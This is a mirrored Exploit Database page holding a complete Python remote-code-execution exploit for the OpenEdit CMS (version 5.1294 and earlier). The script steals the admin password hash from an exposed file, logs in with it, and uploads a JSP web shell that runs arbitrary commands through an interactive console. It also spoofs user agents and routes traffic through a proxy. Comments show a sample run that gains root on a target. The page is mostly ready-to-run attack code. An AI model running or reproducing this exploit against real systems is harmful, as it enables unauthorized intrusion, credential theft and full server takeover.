Openedit 5.1294 – Remote Code Execution

Exploit Database
112 阅读

作者： mr_me

日期： 2011-02-11
类别：
- webapps
平台：
- jsp
来源：https://www.exploit-db.com/exploits/16157/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

#!/usr/bin/python

# Openedit <= v5.1294 Remote Code Execution Exploit

# http://net-ninja.net/blog/?p=553

# watch http://www.zeitgeistmovie.com/

# Explanation:

# Vuln 1: Admin hash disclosure

# Vuln 2: Login with the hash

# Vuln 3: Unprotected file upload

# [mr_me@pluto openedit]$ sudo python ./openown.py -p localhost:8080 -t 192.168.1.7:8080 -d /

# | ---------------------------------------------- |

# | Openedit v5.1294 Remote Code Execution Explo!t |

# | by mr_me - net-ninja.net --------------------- |

# (+) Testing proxy @ localhost:8080.. proxy is found to be working!

# (+) Stealing admin hash.. hash stolen ! DES:2JPGMLB8Y60=

# (+) Logging into CMS.. logged in successfully

# (+) Generating and executing upload.. shell upload was successful..

# (+) Shell located @ http://192.168.1.7:8080/eb5b2052fc6c2f6252af578bb9a66cf3.jsp?cmd=[CMD]

# (+) Entering interactive remote console (q for quit)

# root@192.168.1.7:8080# id

# uid=0(root) gid=0(root) groups=0(root)

# root@192.168.1.7:8080# uname -a

# Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux

# root@192.168.1.7:8080# q

# [mr_me@pluto openedit]$

import sys, socket, urllib, re, urllib2, getpass

from optparse import OptionParser

from random import choice

from cookielib import CookieJar

try:

from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

except:

print "(!) Please download pyposter-04 to use this tool"

print "--> http://pypi.python.org/pypi/poster/0.4"

sys.exit(1)

usage = "./%prog [<options>] -t [target] -d [directory]"

usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.15:8080 -d /ROOT2/openedit/"

parser = OptionParser(usage=usage)

parser.add_option("-p", type="string",action="store", dest="proxy",

help="HTTP Proxy <server:port>")

parser.add_option("-t", type="string", action="store", dest="target",

help="The Target server <server:port>")

parser.add_option("-d", type="string", action="store", dest="dirPath",

help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():

print "\n\t| ---------------------------------------------- |"

print "\t| Openedit v5.1294 Remote Code Execution Explo!t |"

print "\t| by mr_me - net-ninja.net --------------------- |\n"

if len(sys.argv) < 5:

banner()

parser.print_help()

sys.exit(1)

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",

"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",

"Microsoft Internet Explorer/4.0b1 (Windows 95)",

"Opera/8.00 (Windows NT 5.1; U; en)"]

agent = choice(agents)

jspSname = "eb5b2052fc6c2f6252af578bb9a66cf3.jsp"

jspShell = """

<%@ page import="java.util.*,java.io.*"%>

if (request.getParameter("cmd") != null) {

String cmd = request.getParameter("cmd");

Process p = Runtime.getRuntime().exec(cmd);

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

out.println("lulzStart");

while ( disr != null ) {

out.println(disr);

disr = dis.readLine();

}

out.println("lulzEnd");

}

"""

def getProxy():

try:

proxy_handler = urllib2.ProxyHandler({'http': options.proxy})

except(socket.timeout):

print "\n(-) Proxy timed out"

sys.exit(1)

return proxy_handler

def testProxy():

sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))

sys.stdout.flush()

opener = urllib2.build_opener(getProxy())

try:

check = opener.open("http://www.google.com").read()

except:

check = 0

pass

if check >= 1:

sys.stdout.write("proxy is found to be working!\n")

sys.stdout.flush()

else:

print "proxy failed, exiting.."

sys.exit(1)

def doPost(exploit, cmd=None):

if options.proxy:

try:

values = {'cmd' : cmd }

data = urllib.urlencode(values)

proxyfier = urllib2.build_opener(getProxy())

proxyfier.addheaders = [('User-agent', agent)]

check = proxyfier.open(exploit, data).read()

except urllib2.HTTPError, error:

check = error.read()

pass

else:

try:

req = urllib2.Request(exploit)

req.addheaders = [('User-agent',agent)]

check = urllib2.urlopen(req).read()

except urllib2.HTTPError, error:

check = error.read()

return check

def interactiveAttack():

print "(+) Entering interactive remote console (q for quit)\n"

hn = "%s@%s# " % (getpass.getuser(), options.target)

cmd = ""

while cmd != 'q':

try:

cmd = raw_input(hn)

sploit = ("http://%s%s%s" % (options.target, options.dirPath, jspSname))

resp = doPost(sploit, cmd)

shellOutput = resp.split("lulzStart")[1].split("lulzEnd")[0]

print shellOutput.split('\r\n')[0]

except:

break

def getAdminHash():

sys.stdout.write("(+) Stealing admin hash..")

sys.stdout.flush()

hashReq = ("http://%s%sopenedit/files/download/WEB-INF/users/admin.xml" % (options.target, options.dirPath))

resp = doPost(hashReq)

hash = re.search("<password>(.*)</password>", resp)

sys.stdout.write(" hash stolen ! %s\n" % (hash.group(1)))

sys.stdout.flush()

return hash.group(1)

def tryUpload(cookie):

sys.stdout.write("(+) Creating shell and preparing.. ")

sys.stdout.flush()

adminCookie = re.search("JSESSIONID=(.*) for", str(cookie))

url = ("http://%s%sopenedit/filemanager/upload/uploadfile-finish.html" % (options.target, options.dirPath))

try:

writeShell = open(jspSname,'w')

writeShell.write(jspShell)

writeShell.close()

except:

print "(-) Exploit failed, you must have permission to write locally."

sys.exit(1)

register_openers()

datagen, headers = multipart_encode({"file": open(jspSname), "path": "/WEB-INF/base/"})

headers['Cookie'] = "JSESSIONID="+adminCookie.group(1)+";"

headers['User-agent'] = agent

request = urllib2.Request(url, datagen, headers)

request.set_proxy(options.proxy, 'http')

resp = urllib2.urlopen(request).read()

writeShell.close()

if re.search("UPLOAD SUCCESSFUL", resp):

sys.stdout.write("shell upload was successful!\n")

sploit = ("http://%s%s%s?cmd=[CMD]" % (options.target, options.dirPath, jspSname))

sys.stdout.write("(+) Shell located @ %s\n" % (sploit))

sys.stdout.flush()

def doLogin(adminHash):

sys.stdout.write("(+) Logging into CMS.. ")

sys.stdout.flush

adminIndex = "http://" + options.target + options.dirPath + "openedit/authentication/logon.html"

values = {'loginokpage' : '', 'accountname' : 'admin', 'password' : adminHash, 'submit' : 'Login'}

data = urllib.urlencode(values)

cj = CookieJar()

if options.proxy:

try:

opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))

opener.addheaders = [('User-agent', agent)]

check = opener.open(adminIndex, data).read()

except:

print "\n(-) Proxy connection failed to remote target"

sys.exit(1)

else:

try:

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

check = opener.open(adminIndex, data).read()

except:

print "(-) Target connection failed, check your address"

sys.exit(1)

if not re.search("Please enter your password", check):

sys.stdout.write("logged in successfully\n")

sys.stdout.flush()

return cj

else:

sys.stdout.write("Login Failed! Exiting..\n")

sys.stdout.flush()

sys.exit(1)

def main():

banner()

if options.proxy:

testProxy()

adminHash = getAdminHash()

adminCookie = doLogin(adminHash)

tryUpload(adminCookie)

interactiveAttack()

if __name__ == "__main__":

main()